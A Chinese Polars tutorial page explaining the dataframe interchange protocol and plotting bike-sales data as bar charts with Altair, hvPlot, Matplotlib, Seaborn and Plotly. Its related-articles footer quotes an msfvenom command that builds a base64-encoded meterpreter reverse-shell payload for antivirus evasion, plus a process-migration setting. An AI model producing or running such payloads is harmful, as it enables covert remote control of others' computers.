Polars简明基础教程十四:可视化(四)

news2024/9/22 23:31:25

 数据帧交换协议

数据帧互换协议(Dataframe Interchange Protocol),是为了提高不同数据帧库之间的互操作性而设计的。

想象一下,你有很多不同类型的储物箱(在这里比喻为不同的数据帧库,如 Pandas、Polars、Dask 等),每种储物箱都有自己的独特之处,比如有的储物箱容量大、有的开合速度快、有的防水防尘。但是,当你需要从储物箱里拿东西去给朋友看(在这里比喻为可视化库,如 Seaborn、Plotly 和 Altair)时,你会发现每个储物箱的开锁方式都不一样,这就给“拿东西”造成了不便。

数据帧互换协议就像是一个通用的钥匙,它允许不同的储物箱(数据帧库)和朋友(可视化库)之间建立一种标准的沟通方式。也就是说,不管储物箱(数据帧库)内部结构如何,只要它们都支持数据帧互换协议,那么你的朋友(可视化库)就能知道如何从这些储物箱中取出东西(数据),而不需要了解每个储物箱的具体细节。

Seaborn, Plotly 和 Altair 这些可视化库现在能够通过数据帧互换协议来直接与  Polars 这个数据帧库进行交互。这意味着,当你的朋友(可视化库)想要看你的东西(数据)时,只需要按照通用钥匙(数据帧互换协议)的方式来操作,而不用关心你是用的哪种储物箱(数据帧库)。这样,就大大提高了效率和灵活性,你不再需要为了配合朋友的要求而把东西从一个储物箱倒腾到另一个储物箱里。

简而言之,数据帧互换协议就像是一座桥梁,连接了数据帧库和可视化库,使得数据的可视化过程更加顺畅和高效,而无需为每一个库的特定细节操心。

下面的Seaborn、Plotly 和 Altair 通过数据帧交换协议支持 Polars。该协议是一种方式,允许第三方包(例如可视化库)与不同的数据帧库一起工作,而无需显式支持这些库。

实际上,使用交换协议意味着我们可以将Polars的DataFrame直接用于Plotly的许多图表中。然而,由于Plotly没有原生支持Polars,因此无法保证所有图表都能与Polars的DataFrame一起工作。在某些情况下,您可能需要转换为Pandas。

如果您对交换协议的工作原理感到好奇,以下是一个简化版本:

  • Plotly 检查传递给它的数据对象的类型,并发现它不是 Pandas 的 DataFrame
  • Plotly 然后检查传递给它的对象是否具有__dataframe__命名空间
  • 如果 Plotly 发现对象具有__dataframe__命名空间,它将使用该命名空间中的通用命令来执行所需的操作(例如,从 DataFrame 中提取命名列,检查列的 dtype 并遍历列) 

您可以在此处查看Polars DataFrame上__dataframe__命名空间中的方法:

[el for el in dir(df.__dataframe__()) if not el.startswith("__")]

这些方法是我们在本课程中学习的标准Polars方法的封装。数据帧交换协议本身是一个快速发展的项目,因此其功能会不断增加。

Altair

我们可以直接将DataFrame传递给Altair

alt.Chart(
    passenger_class_counts_df,
    width=600
).mark_bar().encode(
    x="pclass:N",
    y="count:Q",
    color="pclass:N",
)

与Plotly一样,Altair也通过数据帧交换协议支持Polars。与Plotly相同,也存在相同的注意事项。

另外,在pycharm中用Altair绘制的图像视乎显示不了,用jupyter notebook就很轻松地显示出来。

练习

在练习中,您将加深对以下内容的理解:

  •  从Polars创建图表 

练习1

我们首先创建一个自行车销售的DataFrame,并将字符串列名中的空格替换为_(有关pipe的更多信息,请参阅选择和转换数据部分中的转换DataFrame讲座)

import polars as pl

df = pl.DataFrame(
    {'customer age':[31,45,18,26,22,17,20,19,21,33,32,42,35,17,15,18,19,20,22,18,19,21],
     'len':[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]
    }
)
df_bike =df.pipe(
    lambda df: df.rename({col:col.replace(" ","_") for col in df.columns})
)

df_bike.head(2)

shape: (2, 2)
┌──────────────┬─────┐
│ customer_age ┆ len │
│ ---          ┆ --- │
│ i64          ┆ i64 │
╞══════════════╪═════╡
│ 31           ┆ 1   │
│ 45           ┆ 1   │
└──────────────┴─────┘

我们首先需要执行group_by来获取数据

customer_count_df = (
    df_bike
    .group_by("customer_age")
    .len()
    .sort("customer_age")
)

使用内置的绘图方法和您首选的可视化库,制作一个customer_age列的条形图,显示按客户年龄分类的自行车销售量

 <blank>

解决方案

hvPlot

​​​​​​​(
    customer_count_df
    .plot
    .bar(
    x="customer_age",
    y="len",
    width=1000
    )
)

Matplotlib

plt.bar(
    x=customer_count_df["customer_age"],
    height=customer_count_df["len"],
)

 Seaborn

sns.barplot(
    customer_count_df.to_pandas(use_pyarrow_extension_array=True),
    x="customer_age",
    y="len"
)

  Plotly

px.bar(
    customer_count_df.with_columns(pl.col("customer_age").cast(pl.Utf8)),
    x="customer_age",
    y="len",
)

  Altair

(
    alt.Chart(
    customer_count_df,
        width=600
    )
    .mark_bar()
    .encode(
        x="customer_age:N",
        y="len:Q"
    )
)

Polars简明基础教程系列

Polars简明基础教程十四:可视化(四)

Polars简明基础教程十三:可视化(三)

Polars简明基础教程十二:可视化(二)

Polars简明基础教程十一:可视化(一)

Polars简明基础教程十:Numpy和Pandas的相互转换(2)

Polars简明基础教程九:Numpy和Pandas的相互转换(1)

Polars简明基础教程八:Series 和 DataFrame 以及它们之间的转换_B

Polars简明基础教程七:Series 和 DataFrame 以及它们之间的转换_A

Polars简明基础教程六:什么是Polars的“DataFrame(数据框)_下”

Polars简明基础教程五:什么是Polars的“DataFrame(数据框)_上”

Polars简明基础教程四:懒惰模式 2:评估查询

Polars简明基础教程三:懒惰模式 1:引入懒惰模式(续)

Polars简明基础教程二:懒惰模式 1:引入懒惰模式

Polars简明基础教程一:Polars快速入门

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2043133.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ArkTs基础语法-声明式UI-基本概念

声明式UI语法 基本概念声明式UI描述创建组件无参数有参数 配置属性配置事件 配置子组件 基本概念 装饰器&#xff1a;用于装饰类、结构、方法及变量&#xff0c;并赋予其特殊的含义。 例如&#xff1a; Entry 有该装饰器的自定义组件&#xff0c;可以在UIAbility中使用&#xf…

Transformer在单细胞组学中干了啥?

—https://doi.org/10.1038/s41592-024-02353-z 留意更多内容&#xff0c;欢迎关注微信公众号&#xff1a;组学之心 研究团队和单位 综述简介 细胞表型参考图谱的构建&#xff08;已有很多篇超百万级单细胞的多组学图谱&#xff09;&#xff0c;极大丰富了单细胞组学数据的数…

WEB渗透免杀篇-Python源码免杀

Base64编码Pyinstaller打包 MSF监听需设置自动迁移进程 set autorunscript migrate -n explorer.exe msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 LHOST192.168.0.108 LPORT12138 -f c -o /var/www/html/1.cShellcode粘贴在shellcodebase64c.py中 python…

Element UI导航菜单刷新就复原问题解决方法~

1、首先要知道为什么一刷新就复原了&#xff0c;是因为default-active属性设置的是默认值&#xff0c;是一个死值&#xff0c;一旦刷新就会复原&#xff0c;造成高亮不能保持&#xff0c;那么怎么解决呢&#xff1f; 2、很简单&#xff0c;无需像一些博主一样绑定path。思路&a…

本机电脑,代码仓库,服务器三者代码同步流程

本机电脑&#xff0c;代码仓库&#xff0c;服务器三者代码同步流程 本机电脑将代码push到代码仓库从代码仓库clone或者pull代码服务器&#xff08;非必要但习惯于&#xff09;本机电脑通过ssh远程连接服务器进行操作 关于密钥&#xff1a;&#xff08;通过ssh的密钥同步代码不…

Linux系统驱动(十八)SPI总线(未整理)

文章目录 一、SPI总线协议简介二、SPI子系统驱动&#xff08;二&#xff09;SPI子系统API&#xff08;三&#xff09;SPI设备树节点 三、代码示例 一、SPI总线协议简介 高速、同步、全双工、非差分、总线式 传输速度在几十M 差分总线和非差分总线 非差分总线&#xff1a;受压…

微信小程序开发了支付系统(必须要进行发货管理)

开发了一个小程序&#xff0c;然后必小程序支付后&#xff0c;一定要发货&#xff1f;线上购买线下取货如何发货&#xff1f; 这其实就是你服务类目选择错了&#xff0c;有的分类是必须要有发货管理的&#xff0c;但是有的就不需要&#xff0c;所以有些时候微信的规则还真的挺…

【vue】h 函数的使用

文章目录 1. 引言2. h 函数3. h 函数的使用3.1 v-if3.2 v-for3.3 v-on3.4 组件3.5 渲染插槽 4. h函数的使用场景参考链接 1. 引言 在绝大多数情况下&#xff0c;Vue 推荐使用模板语法来创建应用。然而在某些使用场景下&#xff0c;我们真的需要用到 JavaScript 完全的编程能力。…

C++ 面试题常用总结 详解(满足c++ 岗位必备,不定时更新)

&#x1f4da; 本文主要总结了一些常见的C面试题&#xff0c;主要涉及到语法基础、STL标准库、内存相关、类相关和其他辅助技能&#xff0c;掌握这些内容&#xff0c;基本上就满足C的岗位技能&#xff08;红色标记为重点内容&#xff09;&#xff0c;欢迎大家前来学习指正&…

01 网络编程-概念引入

目录 1、互联网与物联网 2、计算机网络分类 &#xff08;1&#xff09;按地理范围分类 &#xff08;2&#xff09;按网络拓扑分类 &#xff08;3&#xff09;按网络用途分类 3、套接字 4、网络的七层模型&#xff08;OSI--国际化标准&#xff09; 5、TCP/IP四层协议栈 …

qml ChartView实现动态数据曲线

文章目录 一、qml静态数据曲线二、qml ChartView实现动态数据曲线三、使用C++给曲线提供数据更多qml教程,请参考QML入门进阶教程专栏:https://mingshiqiang.blog.csdn.net/category_9951228_2.html 本篇博客介绍使用qml实现动态数据曲线,效果图如下: 本篇博客代码通过C+…

DolphinScheduler3.2.2在centos7上伪集群部署

DolphinScheduler 是一个分布式易扩展的可视化工作流任务调度系统。集成了很多数据处理常用的功能&#xff0c;包括定时任务&#xff0c;脚本执行&#xff0c;错误预警等。 它具有以下一些主要特点和优势&#xff1a; 分布式架构&#xff1a;支持大规模任务的调度和管理&#…

centos7卸载docker报错No Packages marked for removal

执行&#xff1a; yum -y remove docker* 报错&#xff1a; No Packages marked for removal 执行&#xff1a; yum list installed | grep docker yum remove -y docker-ce.x86_64 docker-ce-cli.x86_64 containerd.io.x86_64

进程的退出以及线程

接上节&#xff1a; 1.wait 本身是一个阻塞操作&#xff0c;谁调用它就会使调用者阻塞 2.父进程要获得子进程的退出状态 要两个进程配合操作&#xff1a; 子进程&#xff1a; exit(退出状态值&#xff09; 退出状态值 只有最低为有效&#xff0c;范围为[0-255] 父进程 wa…

<Qt> 系统 - 网络编程 | 音视频

目录 前言&#xff1a; 一、QUdpSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个UDP回显服务器 二、QTCPSocket &#xff08;一&#xff09;核心 API 概览 &#xff08;二&#xff09;设计一个TCP回显服务器 三、HTTP Client 四、…

javaer快速入门 goweb框架 gin

gin 入门 前置条件 安装环境 配置代理 # 配置 GOPROXY 环境变量&#xff0c;以下三选一# 1. 七牛 CDN go env -w GOPROXYhttps://goproxy.cn,direct# 2. 阿里云 go env -w GOPROXYhttps://mirrors.aliyun.com/goproxy/,direct# 3. 官方 go env -w GOPROXYhttps://goproxy.…

【自动驾驶】自定义消息格式的话题通信(C++版本)

目录 新建消息文件更改包xml文件中的依赖关系更改cmakelist文件中的配置执行时依赖改变cmakelist编译顺序发布者程序调用者程序新建launch文件程序测试 新建消息文件 在功能包目录下&#xff0c;新建msg文件夹&#xff0c;下面新建mymsg.msg文件&#xff0c;其内容为 string …

机械行业数字化生产供应链产品解决方案(十六)

我们的机械行业数字化生产供应链产品解决方案通过全面应用物联网、人工智能和大数据技术&#xff0c;构建了一个高效的智能生产与供应链系统&#xff0c;能够在设计、生产和物流全环节中实现实时数据监控与动态优化。系统通过智能分析和预测&#xff0c;优化了生产计划和资源配…

Linux系统驱动(十九)块设备驱动

文章目录 一、块设备驱动简介&#xff08;一&#xff09;简介&#xff08;二&#xff09;块设备驱动相关概念 二、块设备驱动&#xff08;一&#xff09;框架图1. 虚拟文件系统&#xff08;VFS&#xff09;2. Disk Cache&#xff1a;硬盘的高速缓存3. 映射层&#xff08;mappin…

IP代理如何增强网络安全性?

在当今的数字时代&#xff0c;网络安全已成为一个关键问题&#xff0c;而使用 IP 代理可以成为增强网络安全的有效方法。根据请求信息的安全性&#xff0c;IP 代理服务器可分为三类&#xff1a;高级匿名代理、普通匿名代理和透明代理。此外&#xff0c;根据使用的用途&#xff…